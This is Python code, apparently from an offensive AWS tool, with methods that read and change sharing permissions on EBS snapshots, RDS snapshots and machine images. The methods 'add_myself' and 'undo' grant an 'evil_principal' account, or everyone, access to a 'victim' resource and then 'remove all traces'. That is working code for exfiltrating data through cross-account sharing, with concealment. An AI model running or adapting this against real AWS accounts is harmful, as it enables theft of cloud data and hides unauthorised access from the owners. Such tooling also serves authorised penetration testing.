def _get_shared_with_accounts(self) -> ResponseGetSharingApi: logger.debug("Getting snapshot status policy for %s" % self.arn) shared_with_accounts = [] try: # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.Client.describe_snapshot_attribute response = self.client.describe_snapshot_attribute( Attribute="createVolumePermission", SnapshotId=self.name, ) attributes = response.get("CreateVolumePermissions") for attribute in attributes: if attribute.get("Group"): if attribute.get("Group") == "all": shared_with_accounts.append("all") if attribute.get("UserId"): shared_with_accounts.append(attribute.get("UserId")) success = True except botocore.exceptions.ClientError as error: logger.debug(error) success = False response_message = ResponseGetSharingApi( shared_with_accounts=shared_with_accounts, success=success, evil_principal="", victim_resource_arn=self.arn, resource_name=self.name, resource_type=self.resource_type, service=self.service, original_policy=shared_with_accounts, updated_policy=[]) return response_message
def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseGetSharingApi: """Remove all traces""" evil_account_id = self.parse_evil_principal( evil_principal=evil_principal) logger.debug(f"Removing {evil_account_id} access to {self.arn}") shared_with_accounts = [] if not dry_run: accounts_to_remove = [evil_account_id] share_response = self.share(accounts_to_add=[], accounts_to_remove=accounts_to_remove) shared_with_accounts = share_response.shared_with_accounts success = share_response.success else: shared_with_accounts = self.shared_with_accounts if evil_account_id in shared_with_accounts: shared_with_accounts.remove(evil_account_id) success = True response_message = ResponseGetSharingApi( shared_with_accounts=shared_with_accounts, success=success, evil_principal=evil_principal, victim_resource_arn=self.arn, resource_name=self.name, resource_type=self.resource_type, service=self.service, original_policy=self.original_shared_with_accounts, updated_policy=shared_with_accounts) return response_message
def add_myself(self, evil_principal: str, dry_run: bool = False) -> ResponseGetSharingApi: """Add your rogue principal to the AWS resource""" evil_account_id = self.parse_evil_principal( evil_principal=evil_principal) logger.debug(f"Sharing {self.arn} with {evil_account_id}") shared_with_accounts = [] if not dry_run: accounts_to_add = [evil_account_id] share_response = self.share(accounts_to_add=accounts_to_add, accounts_to_remove=[]) shared_with_accounts = share_response.shared_with_accounts success = share_response.success else: try: # this is just to get the success message tmp = self._get_shared_with_accounts() success = tmp.success shared_with_accounts = tmp.shared_with_accounts shared_with_accounts.append(evil_account_id) except botocore.exceptions.ClientError as error: logger.debug(error) success = False response_message = ResponseGetSharingApi( shared_with_accounts=shared_with_accounts, success=success, evil_principal=evil_principal, victim_resource_arn=self.arn, resource_name=self.name, resource_type=self.resource_type, service=self.service, original_policy=self.original_shared_with_accounts, updated_policy=shared_with_accounts) return response_message
def share(self, accounts_to_add: list, accounts_to_remove: list) -> ResponseGetSharingApi: shared_with_accounts = [] if accounts_to_add: logger.debug(f"Sharing the snapshot {self.name} with the accounts {', '.join(accounts_to_add)}") if accounts_to_remove: logger.debug(f"Removing access to snapshot {self.name} for the accounts {', '.join(accounts_to_add)}") try: snapshot_attributes_response = self.client.modify_db_snapshot_attribute( DBSnapshotIdentifier=self.name, AttributeName='restore', ValuesToAdd=accounts_to_add, ValuesToRemove=accounts_to_remove ) attributes = snapshot_attributes_response.get("DBSnapshotAttributesResult").get("DBSnapshotAttributes") for attribute in attributes: if attribute.get("AttributeName") == "restore": shared_with_accounts.extend(attribute.get("AttributeValues")) break success = True except botocore.exceptions.ClientError: success = False response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success, evil_principal="", victim_resource_arn=self.arn, resource_name=self.name, resource_type=self.resource_type, service=self.service, original_policy=self.original_shared_with_accounts, updated_policy=self.original_shared_with_accounts ) return response_message
def share(self, accounts_to_add: list, accounts_to_remove: list) -> ResponseGetSharingApi: shared_with_accounts = [] # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.Client.modify_image_attribute try: if accounts_to_add: logger.debug( f"Sharing the AMI {self.name} with the accounts {', '.join(accounts_to_add)}" ) if "all" in accounts_to_add: self.client.modify_image_attribute( ImageId=self.name, LaunchPermission={"Add": [{ "Group": "all" }]}, ) else: user_ids = [] for account in accounts_to_add: user_ids.append({"UserId": account}) self.client.modify_image_attribute( ImageId=self.name, LaunchPermission={"Add": user_ids}, ) if accounts_to_remove: logger.debug( f"Removing access to the AMI {self.name} from the accounts {', '.join(accounts_to_add)}" ) if "all" in accounts_to_remove: self.client.modify_image_attribute( ImageId=self.name, LaunchPermission={"Remove": [{ "Group": "all" }]}, ) else: user_ids = [] for account in accounts_to_remove: user_ids.append({"UserId": account}) self.client.modify_image_attribute( ImageId=self.name, LaunchPermission={"Remove": user_ids}, ) shared_with_accounts = self._get_shared_with_accounts( ).shared_with_accounts success = True except botocore.exceptions.ClientError: success = False response_message = ResponseGetSharingApi( shared_with_accounts=shared_with_accounts, success=success, evil_principal="", victim_resource_arn=self.arn, resource_name=self.name, resource_type=self.resource_type, service=self.service, original_policy=self.original_shared_with_accounts, updated_policy=self.original_shared_with_accounts) return response_message
def share(self, accounts_to_add: list, accounts_to_remove: list) -> ResponseGetSharingApi: shared_with_accounts = [] # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.Client.modify_snapshot_attribute try: if accounts_to_add: logger.debug( f"Sharing the snapshot {self.name} with the accounts {', '.join(accounts_to_add)}" ) if "all" in accounts_to_add: self.client.modify_snapshot_attribute( Attribute="createVolumePermission", SnapshotId=self.name, GroupNames=["all"], OperationType="add", ) else: self.client.modify_snapshot_attribute( Attribute="createVolumePermission", SnapshotId=self.name, UserIds=accounts_to_add, OperationType="add", ) if accounts_to_remove: logger.debug( f"Removing access to the snapshot {self.name} from the accounts {', '.join(accounts_to_add)}" ) if "all" in accounts_to_remove: self.client.modify_snapshot_attribute( Attribute="createVolumePermission", SnapshotId=self.name, GroupNames=["all"], OperationType="remove", ) else: self.client.modify_snapshot_attribute( Attribute="createVolumePermission", SnapshotId=self.name, UserIds=accounts_to_remove, OperationType="remove", ) shared_with_accounts = self._get_shared_with_accounts( ).shared_with_accounts success = True except botocore.exceptions.ClientError: success = False response_message = ResponseGetSharingApi( shared_with_accounts=shared_with_accounts, success=success, evil_principal="", victim_resource_arn=self.arn, resource_name=self.name, resource_type=self.resource_type, service=self.service, original_policy=self.original_shared_with_accounts, updated_policy=self.original_shared_with_accounts) return response_message
def _get_shared_with_accounts(self) -> ResponseGetSharingApi: logger.debug("Getting snapshot status policy for %s" % self.arn) shared_with_accounts = [] try: response = self.client.describe_db_snapshot_attributes( DBSnapshotIdentifier=self.name ) attributes = response.get("DBSnapshotAttributesResult").get("DBSnapshotAttributes") for attribute in attributes: if attribute.get("AttributeName") == "restore": shared_with_accounts.extend(attribute.get("AttributeValues")) break success = True except botocore.exceptions.ClientError: success = False response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success, evil_principal="", victim_resource_arn=self.arn, resource_name=self.name, resource_type=self.resource_type, service=self.service, original_policy=shared_with_accounts, updated_policy=[] ) return response_message